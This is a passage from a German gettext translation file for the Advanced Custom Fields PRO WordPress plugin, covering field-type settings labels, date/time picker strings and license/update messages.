#: fields/date_picker.php:231
msgid "Save Format"
msgstr "Format abspeichern"

#: fields/date_picker.php:232
msgid "The format used when saving a value"
msgstr "Das Format das für das Speichern eines Wertes verwendet wird"

# @ acf
#: fields/date_picker.php:243 fields/date_time_picker.php:218
msgid "Week Starts On"
msgstr "Die Woche beginnt am"

#: fields/date_time_picker.php:36
msgid "Date Time Picker"
msgstr "Datum und Uhrzeit auswählen"

#: fields/date_time_picker.php:44
msgctxt "Date Time Picker JS timeOnlyTitle"
msgid "Choose Time"
msgstr "Zeit auswählen"

#: fields/date_time_picker.php:45
msgctxt "Date Time Picker JS timeText"
msgid "Time"
msgstr "Zeit"

#: fields/date_time_picker.php:46
msgctxt "Date Time Picker JS hourText"
msgid "Hour"
msgstr "Stunde"

#: fields/date_time_picker.php:47
msgctxt "Date Time Picker JS minuteText"
msgid "Minute"
msgstr "Minute"

#: fields/date_time_picker.php:48
msgctxt "Date Time Picker JS secondText"
msgid "Second"
msgstr "Sekunde"

#: fields/date_time_picker.php:49
msgctxt "Date Time Picker JS millisecText"
msgid "Millisecond"
msgstr "Millisekunde"

#: fields/date_time_picker.php:50
msgctxt "Date Time Picker JS microsecText"
msgid "Microsecond"
msgstr "Mikrosekunde"

#: fields/date_time_picker.php:51
msgctxt "Date Time Picker JS timezoneText"
msgid "Time Zone"
msgstr "Zeitzone"

#: fields/date_time_picker.php:52
msgctxt "Date Time Picker JS currentText"
msgid "Now"
msgstr "Jetzt"

#: fields/date_time_picker.php:53
msgctxt "Date Time Picker JS closeText"
msgid "Done"
msgstr "Fertig"

#: fields/date_time_picker.php:54
msgctxt "Date Time Picker JS selectText"
msgid "Select"
msgstr "Auswählen"

#: fields/date_time_picker.php:56
msgctxt "Date Time Picker JS amText"
msgid "AM"
msgstr "vorm."

#: fields/date_time_picker.php:57
msgctxt "Date Time Picker JS amTextShort"
msgid "A"
msgstr "vorm."

#: fields/date_time_picker.php:60
msgctxt "Date Time Picker JS pmText"
msgid "PM"
msgstr "nachm."

#: fields/date_time_picker.php:61
msgctxt "Date Time Picker JS pmTextShort"
msgid "P"
msgstr "nachm."

# @ acf
#: fields/email.php:36
msgid "Email"
msgstr "E-Mail"

# @ acf
#: fields/email.php:134 fields/number.php:146 fields/radio.php:284
#: fields/text.php:143 fields/textarea.php:140 fields/url.php:115
#: fields/wysiwyg.php:446
msgid "Appears when creating a new post"
msgstr "Erscheint bei der Erstellung eines neuen Beitrags"

# @ acf
#: fields/email.php:142 fields/number.php:154 fields/password.php:134
#: fields/text.php:151 fields/textarea.php:148 fields/url.php:123
msgid "Placeholder Text"
msgstr "Platzhalter-Text"

# @ acf
#: fields/email.php:143 fields/number.php:155 fields/password.php:135
#: fields/text.php:152 fields/textarea.php:149 fields/url.php:124
msgid "Appears within the input"
msgstr "Platzhalter-Text solange keine Eingabe im Feld vorgenommen wurde"

# @ acf
#: fields/email.php:151 fields/number.php:163 fields/password.php:143
#: fields/text.php:160
msgid "Prepend"
msgstr "Voranstellen"

# @ acf
#: fields/email.php:152 fields/number.php:164 fields/password.php:144
#: fields/text.php:161
msgid "Appears before the input"
msgstr "Wird dem Eingabefeld vorangestellt"

# @ acf
#: fields/email.php:160 fields/number.php:172 fields/password.php:152
#: fields/text.php:169
msgid "Append"
msgstr "Anhängen"

# @ acf
#: fields/email.php:161 fields/number.php:173 fields/password.php:153
#: fields/text.php:170
msgid "Appears after the input"
msgstr "Wird dem Eingabefeld hinten angestellt"

# @ acf
#: fields/file.php:36
msgid "File"
msgstr "Datei"

# @ acf
#: fields/file.php:47
msgid "Edit File"
msgstr "Datei bearbeiten"

# @ acf
#: fields/file.php:48
msgid "Update File"
msgstr "Datei aktualisieren"

#: fields/file.php:148
msgid "File name"
msgstr "Dateiname"

# @ acf
#: fields/file.php:152 fields/file.php:255 fields/file.php:266
#: fields/image.php:270 fields/image.php:303 pro/fields/gallery.php:707
#: pro/fields/gallery.php:740
msgid "File size"
msgstr "Dateigröße"

# @ acf
#: fields/file.php:177
msgid "Add File"
msgstr "Datei hinzufügen"

# @ acf
#: fields/file.php:228
msgid "File Array"
msgstr "Datei-Array"

# @ acf
#: fields/file.php:229
msgid "File URL"
msgstr "Datei-URL"

# @ acf
#: fields/file.php:230
msgid "File ID"
msgstr "Datei-ID"

# @ acf
#: fields/file.php:237 fields/image.php:233 pro/fields/gallery.php:670
msgid "Library"
msgstr "Medienübersicht"

# @ acf
#: fields/file.php:238 fields/image.php:234 pro/fields/gallery.php:671
msgid "Limit the media library choice"
msgstr "Beschränkt die Auswahl in der Medienübersicht"

# @ acf
#: fields/file.php:244 fields/image.php:240 pro/fields/gallery.php:677
msgid "Uploaded to post"
msgstr "Für den Beitrag hochgeladen"

# @ acf
#: fields/file.php:251 fields/image.php:247 pro/fields/gallery.php:684
msgid "Minimum"
msgstr "Minimum"

# @ acf
#: fields/file.php:252 fields/file.php:263
msgid "Restrict which files can be uploaded"
msgstr ""
"Erlaubt nur das Hochladen von Dateien die die angegebenen Eigenschaften "
"erfüllen"

# @ acf
#: fields/file.php:262 fields/image.php:280 pro/fields/gallery.php:717
msgid "Maximum"
msgstr "Maximum"

# @ acf
#: fields/file.php:273 fields/image.php:313 pro/fields/gallery.php:750
msgid "Allowed file types"
msgstr "Erlaubte Datei-Formate"

# @ acf
#: fields/file.php:274 fields/image.php:314 pro/fields/gallery.php:751
msgid "Comma separated list. Leave blank for all types"
msgstr ""
"Komma separierte Liste; ein leeres Feld bedeutet alle Dateiformate sind "
"erlaubt"

# @ acf
#: fields/google-map.php:36
msgid "Google Map"
msgstr "Google Maps"

# @ acf
#: fields/google-map.php:51
msgid "Locating"
msgstr "Lokalisiere"

# @ acf
#: fields/google-map.php:52
msgid "Sorry, this browser does not support geolocation"
msgstr "Dieser Browser unterstützt keine Geo-Lokation"

# @ acf
#: fields/google-map.php:133
msgid "Clear location"
msgstr "Position löschen"

# @ acf
#: fields/google-map.php:134
msgid "Find current location"
msgstr "Aktuelle Position finden"

# @ acf
#: fields/google-map.php:137
msgid "Search for address..."
msgstr "Nach der Adresse suchen..."

# @ acf
#: fields/google-map.php:167 fields/google-map.php:178
msgid "Center"
msgstr "Kartenmittelpunkt"

# @ acf
#: fields/google-map.php:168 fields/google-map.php:179
msgid "Center the initial map"
msgstr "Der Mittelpunkt der Ausgangskarte"

# @ acf
#: fields/google-map.php:192
msgid "Zoom"
msgstr "Zoom"

# @ acf
#: fields/google-map.php:193
msgid "Set the initial zoom level"
msgstr "Legt die Zoomstufe der Karte fest"

# @ acf
#: fields/google-map.php:202 fields/image.php:259 fields/image.php:292
#: fields/oembed.php:270 pro/fields/gallery.php:696 pro/fields/gallery.php:729
msgid "Height"
msgstr "Höhe"

# @ acf
#: fields/google-map.php:203
msgid "Customise the map height"
msgstr "Legt die Höhe der Karte fest"

# @ acf
#: fields/image.php:36
msgid "Image"
msgstr "Bild"

# @ acf
#: fields/image.php:51
msgid "Select Image"
msgstr "Bild auswählen"

# @ acf
#: fields/image.php:52 pro/fields/gallery.php:53
msgid "Edit Image"
msgstr "Bild bearbeiten"

# @ acf
#: fields/image.php:53 pro/fields/gallery.php:54
msgid "Update Image"
msgstr "Bild aktualisieren"

# @ acf
#: fields/image.php:55
msgid "All images"
msgstr "Alle Bilder"

# @ acf
#: fields/image.php:144 pro/fields/gallery.php:358 pro/fields/gallery.php:546
msgid "Remove"
msgstr "Entfernen"

# @ acf
#: fields/image.php:160
msgid "No image selected"
msgstr "Kein Bild ausgewählt"

# @ acf
#: fields/image.php:160
msgid "Add Image"
msgstr "Bild hinzufügen"

# @ acf
#: fields/image.php:214
msgid "Image Array"
msgstr "Bild-Array"

# @ acf
#: fields/image.php:215
msgid "Image URL"
msgstr "Bild-URL"

# @ acf
#: fields/image.php:216
msgid "Image ID"
msgstr "Bild-ID"

# @ acf
#: fields/image.php:223
msgid "Preview Size"
msgstr "Maße der Vorschau"

# @ acf
#: fields/image.php:224
msgid "Shown when entering data"
msgstr "Legt fest welche Maße die Vorschau in der Bearbeitungs-Ansicht hat"

# @ acf
#: fields/image.php:248 fields/image.php:281 pro/fields/gallery.php:685
#: pro/fields/gallery.php:718
msgid "Restrict which images can be uploaded"
msgstr ""
"Erlaubt nur das Hochladen von Bildern die die angegebenen Eigenschaften "
"erfüllen"

# @ acf
#: fields/image.php:251 fields/image.php:284 fields/oembed.php:259
#: pro/fields/gallery.php:688 pro/fields/gallery.php:721
msgid "Width"
msgstr "Breite"

# @ acf
#: fields/message.php:36 fields/message.php:116 fields/true_false.php:141
msgid "Message"
msgstr "Nachricht"

# @ acf
#: fields/message.php:125 fields/textarea.php:176
msgid "New Lines"
msgstr "Neue Zeilen"

# @ acf
#: fields/message.php:126 fields/textarea.php:177
msgid "Controls how new lines are rendered"
msgstr "Legt fest wie Zeilenumbrüche gehandhabt werden"

# @ acf
#: fields/message.php:130 fields/textarea.php:181
msgid "Automatically add paragraphs"
msgstr "Absätze automatisch hinzufügen"

# @ acf
#: fields/message.php:131 fields/textarea.php:182
msgid "Automatically add &lt;br&gt;"
msgstr "Zeilenumbrüche ( &lt;br&gt; ) automatisch hinzufügen"

# @ acf
#: fields/message.php:132 fields/textarea.php:183
msgid "No Formatting"
msgstr "Keine Formatierung"

# @ acf
#: fields/message.php:139
msgid "Escape HTML"
msgstr "HTML enkodieren"

# @ acf
#: fields/message.php:140
msgid "Allow HTML markup to display as visible text instead of rendering"
msgstr ""
"Bei aktiver Option wird HTML Code als solcher angezeigt und nicht "
"interpretiert"

# @ acf
#: fields/number.php:36
msgid "Number"
msgstr "Numerisch"

# @ acf
#: fields/number.php:181
msgid "Minimum Value"
msgstr "Mindestwert"

# @ acf
#: fields/number.php:190
msgid "Maximum Value"
msgstr "Maximalwert"

# @ acf
#: fields/number.php:199
msgid "Step Size"
msgstr "Schrittweite"

# @ acf
#: fields/number.php:237
msgid "Value must be a number"
msgstr "Wert muss eine Zahl sein"

# @ acf
#: fields/number.php:255
#, php-format
msgid "Value must be equal to or higher than %d"
msgstr "Wert muss größer oder gleich %d sein"

# @ acf
#: fields/number.php:263
#, php-format
msgid "Value must be equal to or lower than %d"
msgstr "Wert muss kleiner oder gleich %d sein"

# @ acf
#: fields/oembed.php:36
msgid "oEmbed"
msgstr "oEmbed"

# @ acf
#: fields/oembed.php:207
msgid "Enter URL"
msgstr "URL eingeben"

#: fields/oembed.php:220 fields/taxonomy.php:900
msgid "Error."
msgstr "Fehler."

# @ acf
#: fields/oembed.php:220
msgid "No embed found for the given URL."
msgstr "Keine Inhalte für die eingegebene URL gefunden."

# @ acf
#: fields/oembed.php:256 fields/oembed.php:267
msgid "Embed Size"
msgstr "Maße"

# @ acf
#: fields/page_link.php:192
msgid "Archives"
msgstr "Archive"

# @ acf
#: fields/page_link.php:500 fields/post_object.php:399
#: fields/relationship.php:709
msgid "Filter by Post Type"
msgstr "Nach Post Types filtern"

# @ acf
#: fields/page_link.php:508 fields/post_object.php:407
#: fields/relationship.php:717
msgid "All post types"
msgstr "Alle verfügbaren Post Types"

# @ acf
#: fields/page_link.php:514 fields/post_object.php:413
#: fields/relationship.php:723
msgid "Filter by Taxonomy"
msgstr "Nach Taxonomien filtern"

# @ acf
#: fields/page_link.php:522 fields/post_object.php:421
#: fields/relationship.php:731
msgid "All taxonomies"
msgstr "Alle Taxonomien"

# @ acf
#: fields/page_link.php:528 fields/post_object.php:427 fields/radio.php:251
#: fields/select.php:481 fields/taxonomy.php:795 fields/user.php:394
msgid "Allow Null?"
msgstr "NULL-Werte zulassen?"

#: fields/page_link.php:538
msgid "Allow Archives URLs"
msgstr "Archiv-URL's zulassen"

# @ acf
#: fields/page_link.php:548 fields/post_object.php:437 fields/select.php:491
#: fields/user.php:404
msgid "Select multiple values?"
msgstr "Mehrere Werte auswählbar?"

# @ acf
#: fields/password.php:36
msgid "Password"
msgstr "Passwort"

# @ acf
#: fields/post_object.php:36 fields/post_object.php:452
#: fields/relationship.php:788
msgid "Post Object"
msgstr "Beitrags-Objekt"

# @ acf
#: fields/post_object.php:453 fields/relationship.php:789
msgid "Post ID"
msgstr "Beitrags-ID"

# @ acf
#: fields/radio.php:36
msgid "Radio Button"
msgstr "Radio-Button"

# @ acf
#: fields/radio.php:261
msgid "Other"
msgstr "Sonstige"

# @ acf
#: fields/radio.php:266
msgid "Add 'other' choice to allow for custom values"
msgstr ""
"Fügt die Option 'Sonstige' hinzu welche erlaubt benutzerdefinierte Werte "
"hinzuzufügen"

# @ acf
#: fields/radio.php:272
msgid "Save Other"
msgstr "'Sonstige' speichern"

# @ acf
#: fields/radio.php:277
msgid "Save 'other' values to the field's choices"
msgstr "Füge 'Sonstige'-Werte zu den Auswahl Optionen hinzu"

# @ acf
#: fields/relationship.php:36
msgid "Relationship"
msgstr "Beziehung"

# @ acf
#: fields/relationship.php:48
msgid "Minimum values reached ( {min} values )"
msgstr "Minimum der Einträge mit ({min} Einträge) erreicht"

# @ acf
#: fields/relationship.php:49
msgid "Maximum values reached ( {max} values )"
msgstr "Maximum der Einträge mit ({max} Einträge) erreicht"

# @ acf
#: fields/relationship.php:50
msgid "Loading"
msgstr "Lade"

# @ acf
#: fields/relationship.php:51
msgid "No matches found"
msgstr "Keine Übereinstimmung gefunden"

# @ acf
#: fields/relationship.php:590
msgid "Search..."
msgstr "Suchen..."

# @ acf
#: fields/relationship.php:599
msgid "Select post type"
msgstr "Beitrag-Typ auswählen"

# @ acf
#: fields/relationship.php:612
msgid "Select taxonomy"
msgstr "Taxonomie auswählen"

# @ acf
#: fields/relationship.php:744 fields/taxonomy.php:36 fields/taxonomy.php:765
msgid "Taxonomy"
msgstr "Taxonomie"

# @ acf
#: fields/relationship.php:751
msgid "Elements"
msgstr "Elemente"

# @ acf
#: fields/relationship.php:752
msgid "Selected elements will be displayed in each result"
msgstr "Die ausgewählten Elemente werden in jedem Ergebnis mit angezeigt"

# @ acf
#: fields/relationship.php:763
msgid "Minimum posts"
msgstr "Min. Anzahl der Beiträge"

# @ acf
#: fields/relationship.php:772
msgid "Maximum posts"
msgstr "Max. Anzahl der Beiträge"

# @ acf
#: fields/relationship.php:876 pro/fields/gallery.php:823
#, php-format
msgid "%s requires at least %s selection"
msgid_plural "%s requires at least %s selections"
msgstr[0] "%s benötigt mindestens %s Selektion"
msgstr[1] "%s benötigt mindestens %s Selektionen"

#: fields/select.php:36 fields/taxonomy.php:787
msgctxt "noun"
msgid "Select"
msgstr "Auswahl"

#: fields/select.php:49
msgctxt "Select2 JS matches_1"
msgid "One result is available, press enter to select it."
msgstr ""
"Es ist ein Ergebnis verfügbar, drücke die Eingabetaste um es auszuwählen."

#: fields/select.php:50
#, php-format
msgctxt "Select2 JS matches_n"
msgid "%d results are available, use up and down arrow keys to navigate."
msgstr ""
"Es sind %d Ergebnisse verfügbar, benutze die Pfeiltasten um nach oben und "
"unten zu navigieren."

#: fields/select.php:51
msgctxt "Select2 JS matches_0"
msgid "No matches found"
msgstr "Keine Übereinstimmungen gefunden"

#: fields/select.php:52
msgctxt "Select2 JS input_too_short_1"
msgid "Please enter 1 or more characters"
msgstr "Gib bitte ein oder mehr Zeichen ein"

#: fields/select.php:53
#, php-format
msgctxt "Select2 JS input_too_short_n"
msgid "Please enter %d or more characters"
msgstr "Gib bitte %d oder mehr Zeichen ein"

#: fields/select.php:54
msgctxt "Select2 JS input_too_long_1"
msgid "Please delete 1 character"
msgstr "Lösche bitte ein Zeichen"

#: fields/select.php:55
#, php-format
msgctxt "Select2 JS input_too_long_n"
msgid "Please delete %d characters"
msgstr "Lösche bitte %d Zeichen"

#: fields/select.php:56
msgctxt "Select2 JS selection_too_long_1"
msgid "You can only select 1 item"
msgstr "Du kannst nur ein Element auswählen"

#: fields/select.php:57
#, php-format
msgctxt "Select2 JS selection_too_long_n"
msgid "You can only select %d items"
msgstr "Du kannst nur %d Elemente auswählen"

#: fields/select.php:58
msgctxt "Select2 JS load_more"
msgid "Loading more results&hellip;"
msgstr "Mehr Ergebnisse laden&hellip;"

#: fields/select.php:59
msgctxt "Select2 JS searching"
msgid "Searching&hellip;"
msgstr "Suchen&hellip;"

#: fields/select.php:60
msgctxt "Select2 JS load_fail"
msgid "Loading failed"
msgstr "Laden fehlgeschlagen"

# @ acf
#: fields/select.php:501 fields/true_false.php:159
msgid "Stylised UI"
msgstr "Modernes Auswahlfeld"

# @ acf
#: fields/select.php:512
msgid "Use AJAX to lazy load choices?"
msgstr "AJAX zum Laden der Einträge aktivieren"

#: fields/select.php:523
msgid "Specify the value returned"
msgstr "Lege den Rückgabewert fest"

# @ acf
#: fields/tab.php:36
msgid "Tab"
msgstr "Tab"

# @ acf
#: fields/tab.php:97
msgid ""
"The tab field will display incorrectly when added to a Table style repeater "
"field or flexible content field layout"
msgstr ""
"Ein Tab-Feld wird nicht korrekt dargestellt, wenn es zu einem Wiederholung- "
"oder Flexible-Inhalte-Feld im Tabellen-Layout eingebunden ist"

# @ acf
#: fields/tab.php:98
msgid ""
"Use \"Tab Fields\" to better organize your edit screen by grouping fields "
"together."
msgstr ""
"Mit \"Tab Feldern\" können Felder für eine bessere Struktur im Editor in "
"Tabs zusammengefasst werden."

# @ acf
#: fields/tab.php:99
msgid ""
"All fields following this \"tab field\" (or until another \"tab field\" is "
"defined) will be grouped together using this field's label as the tab "
"heading."
msgstr ""
"Alle Felder, die auf dieses \"Tab Feld\" folgen (oder bis ein weiteres \"Tab "
"Feld\" definiert ist), werden in einem Tab mit dem Namen dieses Felds "
"zusammengefasst."

# @ acf
#: fields/tab.php:113
msgid "Placement"
msgstr "Platzierung Tabs"

#: fields/tab.php:125
msgid "End-point"
msgstr "Abschluss"

#: fields/tab.php:126
msgid "Use this field as an end-point and start a new group of tabs"
msgstr "Benutze das Feld als einen Abschluss und starte eine Gruppe an Tabs"

# @ acf
#: fields/taxonomy.php:715 fields/true_false.php:95 fields/true_false.php:184
#: pro/admin/views/settings-updates.php:103
msgid "No"
msgstr "Nein"

# @ acf
#: fields/taxonomy.php:734
msgid "None"
msgstr "Nur Text"

# @ acf
#: fields/taxonomy.php:766
msgid "Select the taxonomy to be displayed"
msgstr "Wähle die Taxonomie, welche angezeigt werden soll"

# @ acf
#: fields/taxonomy.php:775
msgid "Appearance"
msgstr "Anzeige"

# @ acf
#: fields/taxonomy.php:776
msgid "Select the appearance of this field"
msgstr "Wähle das Aussehen für dieses Feld"

# @ acf
#: fields/taxonomy.php:781
msgid "Multiple Values"
msgstr "Mehrere Werte auswählen?"

# @ acf
#: fields/taxonomy.php:783
msgid "Multi Select"
msgstr "Auswahlmenü"

# @ acf
#: fields/taxonomy.php:785
msgid "Single Value"
msgstr "Einzelne Werte"

# @ acf
#: fields/taxonomy.php:786
msgid "Radio Buttons"
msgstr "Radio Button"

# @ acf
#: fields/taxonomy.php:805
msgid "Create Terms"
msgstr "Neue Einträge erlauben"

# @ acf
#: fields/taxonomy.php:806
msgid "Allow new terms to be created whilst editing"
msgstr "Erlaube das Erstellen neuer Einträge beim Editieren"

#: fields/taxonomy.php:815
msgid "Save Terms"
msgstr "Einträge speichern"

# @ acf
#: fields/taxonomy.php:816
msgid "Connect selected terms to the post"
msgstr "Speichert die ausgewählten Einträge auch im Beitrag"

#: fields/taxonomy.php:825
msgid "Load Terms"
msgstr "Einträge laden"

#: fields/taxonomy.php:826
msgid "Load value from posts terms"
msgstr "Den Wert von den Einträgen des Beitrags laden"

# @ acf
#: fields/taxonomy.php:840
msgid "Term Object"
msgstr "Begriffs-Objekt"

# @ acf
#: fields/taxonomy.php:841
msgid "Term ID"
msgstr "Begriffs-ID"

# @ acf
#: fields/taxonomy.php:900
#, php-format
msgid "User unable to add new %s"
msgstr "Der Benutzer kann keine neue %s hinzufügen"

# @ acf
#: fields/taxonomy.php:913
#, php-format
msgid "%s already exists"
msgstr "%s ist bereits vorhanden"

# @ acf
#: fields/taxonomy.php:954
#, php-format
msgid "%s added"
msgstr "%s hinzugefügt"

# @ acf
#: fields/taxonomy.php:999
msgid "Add"
msgstr "Hinzufügen"

# @ acf
#: fields/text.php:36
msgid "Text"
msgstr "Text einzeilig"

# @ acf
#: fields/text.php:178 fields/textarea.php:157
msgid "Character Limit"
msgstr "Zeichenbegrenzung"

# @ acf
#: fields/text.php:179 fields/textarea.php:158
msgid "Leave blank for no limit"
msgstr "Ein leeres Eingabefeld bedeutet keine Begrenzung"

# @ acf
#: fields/textarea.php:36
msgid "Text Area"
msgstr "Text mehrzeilig"

# @ acf
#: fields/textarea.php:166
msgid "Rows"
msgstr "Zeilenanzahl"

# @ acf
#: fields/textarea.php:167
msgid "Sets the textarea height"
msgstr "Definiert die Höhe des Textfelds"

#: fields/time_picker.php:36
msgid "Time Picker"
msgstr "Zeit auswählen"

# @ acf
#: fields/true_false.php:36
msgid "True / False"
msgstr "Ja/Nein"

# @ acf
#: fields/true_false.php:94 fields/true_false.php:174
#: pro/admin/views/settings-updates.php:93
msgid "Yes"
msgstr "Ja"

#: fields/true_false.php:142
msgid "Displays text alongside the checkbox"
msgstr "Zeigt den Text neben der Checkbox an"

#: fields/true_false.php:170
msgid "On Text"
msgstr "Wenn aktiv"

#: fields/true_false.php:171
msgid "Text shown when active"
msgstr "Der Text der im aktiven Zustand angezeigt wird"

#: fields/true_false.php:180
msgid "Off Text"
msgstr "Wenn inaktiv"

#: fields/true_false.php:181
msgid "Text shown when inactive"
msgstr "Der Text der im inaktiven Zustand angezeigt wird"

# @ acf
#: fields/url.php:36
msgid "Url"
msgstr "URL"

# @ acf
#: fields/url.php:165
msgid "Value must be a valid URL"
msgstr "Bitte eine gültige URL eingeben"

# @ acf
#: fields/user.php:379
msgid "Filter by role"
msgstr "Filtere nach Benutzerrollen"

# @ acf
#: fields/user.php:387
msgid "All user roles"
msgstr "Alle Benutzerrollen"

# @ acf
#: fields/wysiwyg.php:36
msgid "Wysiwyg Editor"
msgstr "WYSIWYG-Editor"

# @ acf
#: fields/wysiwyg.php:394
msgid "Visual"
msgstr "Visuell"

# @ acf
#: fields/wysiwyg.php:395
msgctxt "Name for the Text editor tab (formerly HTML)"
msgid "Text"
msgstr "Text"

#: fields/wysiwyg.php:401
msgid "Click to initialize TinyMCE"
msgstr "Klicke um TinyMCE zu initialisieren"

# @ acf
#: fields/wysiwyg.php:454
msgid "Tabs"
msgstr "Tabs"

# @ acf
#: fields/wysiwyg.php:459
msgid "Visual & Text"
msgstr "Visuell & Text"

# @ acf
#: fields/wysiwyg.php:460
msgid "Visual Only"
msgstr "Nur Visuell"

# @ acf
#: fields/wysiwyg.php:461
msgid "Text Only"
msgstr "Nur Text"

# @ acf
#: fields/wysiwyg.php:468
msgid "Toolbar"
msgstr "Werkzeugleiste"

# @ acf
#: fields/wysiwyg.php:478
msgid "Show Media Upload Buttons?"
msgstr "Button zum Hochladen von Medien anzeigen?"

#: fields/wysiwyg.php:488
msgid "Delay initialization?"
msgstr "Initialisierung verzögern?"

#: fields/wysiwyg.php:489
msgid "TinyMCE will not be initalized until field is clicked"
msgstr "TinyMCE wird nicht initialisiert solange das Feld nicht geklickt wurde"

# @ acf
#: forms/comment.php:166 forms/post.php:295 pro/admin/options-page.php:416
msgid "Edit field group"
msgstr "Feld-Gruppen bearbeiten"

#: forms/widget.php:235
#, php-format
msgid "1 field requires attention."
msgid_plural "%d fields require attention."
msgstr[0] "Ein Feld bedarf Deiner Aufmerksamkeit."
msgstr[1] "%d Felder bedürfen Deiner Aufmerksamkeit."

# @ acf
#. Plugin Name of the plugin/theme
#: pro/acf-pro.php:24
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

# @ acf
#: pro/acf-pro.php:192
msgid "Flexible Content requires at least 1 layout"
msgstr "Flexibler Inhalt benötigt mindestens ein Layout"

# @ acf
#: pro/admin/options-page.php:49
msgid "Options Page"
msgstr "Options-Seite"

# @ acf
#: pro/admin/options-page.php:85
msgid "No options pages exist"
msgstr "Keine Options-Seiten vorhanden"

# @ acf
#: pro/admin/options-page.php:303
msgid "Options Updated"
msgstr "Optionen aktualisiert"

# @ acf
#: pro/admin/options-page.php:309
msgid "Publish"
msgstr "Veröffentlichen"

# @ acf
#: pro/admin/options-page.php:315
#, php-format
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"Keine Feld-Gruppen für die Options-Seite gefunden. <a href=\"%s\">Erstelle "
"eine Feld-Gruppe</a>"

# @ acf
#: pro/admin/settings-updates.php:57 pro/admin/views/settings-updates.php:17
msgid "Updates"
msgstr "Aktualisierungen"

# @ acf
#: pro/admin/settings-updates.php:87
msgid "<b>Error</b>. Could not connect to update server"
msgstr ""
"<b>Fehler</b>. Verbindung zum Update-Server konnte nicht hergestellt werden."

# @ acf
#: pro/admin/views/settings-updates.php:11
msgid "Deactivate License"
msgstr "Lizenz deaktivieren"

# @ acf
#: pro/admin/views/settings-updates.php:11
msgid "Activate License"
msgstr "Lizenz aktivieren"

#: pro/admin/views/settings-updates.php:21
msgid "License Information"
msgstr "Lizenzinformation"

#: pro/admin/views/settings-updates.php:24
#, php-format
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""
"Um die Update-Fähigkeit freizuschalten gib bitte unten Deinen "
"Lizenzschlüssel ein. Falls Du keinen besitzt informiere Dich bitte hier "
"hinsichtlich der <a href=\"%s\" target=\"_blank\">Preise und Einzelheiten</"
"a>."

# @ acf
#: pro/admin/views/settings-updates.php:33
msgid "License Key"
msgstr "Lizenzschlüssel"

# @ acf
#: pro/admin/views/settings-updates.php:65
msgid "Update Information"
msgstr "Aktualisierungsinformationen"

# @ acf
#: pro/admin/views/settings-updates.php:72
msgid "Current Version"
msgstr "Installierte Version"

# @ acf
#: pro/admin/views/settings-updates.php:80
msgid "Latest Version"
msgstr "Aktuellste Version"

# @ acf
#: pro/admin/views/settings-updates.php:88
msgid "Update Available"
msgstr "Aktualisierung verfügbar"

# @ acf
#: pro/admin/views/settings-updates.php:96
msgid "Update Plugin"
msgstr "Plugin aktualisieren"

# @ acf
#: pro/admin/views/settings-updates.php:98
msgid "Please enter your license key above to unlock updates"
msgstr ""
"Bitte gib oben Deinen Lizenzschlüssel ein um die Update-Fähigkeit "
"freizuschalten"

# @ acf
#: pro/admin/views/settings-updates.php:104
msgid "Check Again"
msgstr "Erneut suchen"

# @ acf
#: pro/admin/views/settings-updates.php:121
msgid "Upgrade Notice"
msgstr "Aktualisierungs-Hinweis"

# @ acf
#: pro/api/api-options-page.php:22 pro/api/api-options-page.php:23
msgid "Options"
msgstr "Optionen"

#: pro/api/api-pro.php:330
msgid ""
"Error validating ACF PRO license URL (website does not match). Please re-"
"activate your license"
msgstr ""
"Fehler bei der Überprüfung der ACF PRO Lizenz URL (Webseiten stimmen nicht "
"überein). Bitte reaktiviere deine Lizenz"

#: pro/core/updates.php:206
#, php-format
msgid ""
"To enable updates, please enter your license key on the <a href=\"%s"
"\">Updates</a> page. If you don't have a licence key, please see <a href=\"%s"
"\">details & pricing</a>."
msgstr ""
"Um die Update-Fähigkeit freizuschalten gib bitte Deinen Lizenzschlüssel auf "
"der <a href=\"%s\">Aktualisierungen</a> Seite ein. Falls Du keinen besitzt "
"informiere Dich bitte hier hinsichtlich der <a href=\"%s\" target=\"_blank"
"\">Preise und Einzelheiten</a>."

#: pro/fields/clone.php:36
msgctxt "noun"
msgid "Clone"
msgstr "Klon"

#: pro/fields/clone.php:820
msgid "Select one or more fields you wish to clone"
msgstr "Wähle ein oder mehrere Felder aus die Du klonen möchtest"

# @ acf
#: pro/fields/clone.php:835
msgid "Display"
msgstr "Anzeige"

#: pro/fields/clone.php:836
msgid "Specify the style used to render the clone field"
msgstr "Gib den Stil an mit dem das Klon-Feld angezeigt werden soll"

#: pro/fields/clone.php:841
msgid "Group (displays selected fields in a group within this field)"
msgstr ""
"Gruppe (zeigt die ausgewählten Felder in einer Gruppe innerhalb dieses "
"Feldes an)"

#: pro/fields/clone.php:842
msgid "Seamless (replaces this field with selected fields)"
msgstr "Nahtlos (ersetzt dieses Feld mit den ausgewählten Feldern)"

#: pro/fields/clone.php:850
msgid "Specify the style used to render the selected fields"
msgstr ""
"Gib den Stil an mit dem die ausgewählten Felder angezeigt werden sollen"

# @ acf
#: pro/fields/clone.php:855 pro/fields/flexible-content.php:631
#: pro/fields/repeater.php:514
msgid "Block"
msgstr "Block"

# @ acf
#: pro/fields/clone.php:856 pro/fields/flexible-content.php:630
#: pro/fields/repeater.php:513
msgid "Table"
msgstr "Tabelle"

# @ acf
#: pro/fields/clone.php:857 pro/fields/flexible-content.php:632
#: pro/fields/repeater.php:515
msgid "Row"
msgstr "Reihe"

#: pro/fields/clone.php:863
#, php-format
msgid "Labels will be displayed as %s"
msgstr "Bezeichnungen werden als %s angezeigt"

#: pro/fields/clone.php:866
msgid "Prefix Field Labels"
msgstr "Präfix für Feld-Beschriftungen"

#: pro/fields/clone.php:877
#, php-format
msgid "Values will be saved as %s"
msgstr "Werte werden als %s gespeichert"

#: pro/fields/clone.php:880
msgid "Prefix Field Names"
msgstr "Präfix für Feld-Namen"

#: pro/fields/clone.php:998
msgid "Unknown field"
msgstr "Unbekanntes Feld"

#: pro/fields/clone.php:1037
msgid "Unknown field group"
msgstr "Unbekannte Feld-Gruppe"

#: pro/fields/clone.php:1041
#, php-format
msgid "All fields from %s field group"
msgstr "Alle Felder von Feld-Gruppe %s"

# @ acf
#: pro/fields/flexible-content.php:36
msgid "Flexible Content"
msgstr "Flexible Inhalte"

# @ acf
#: pro/fields/flexible-content.php:42 pro/fields/repeater.php:221
#: pro/fields/repeater.php:526
msgid "Add Row"
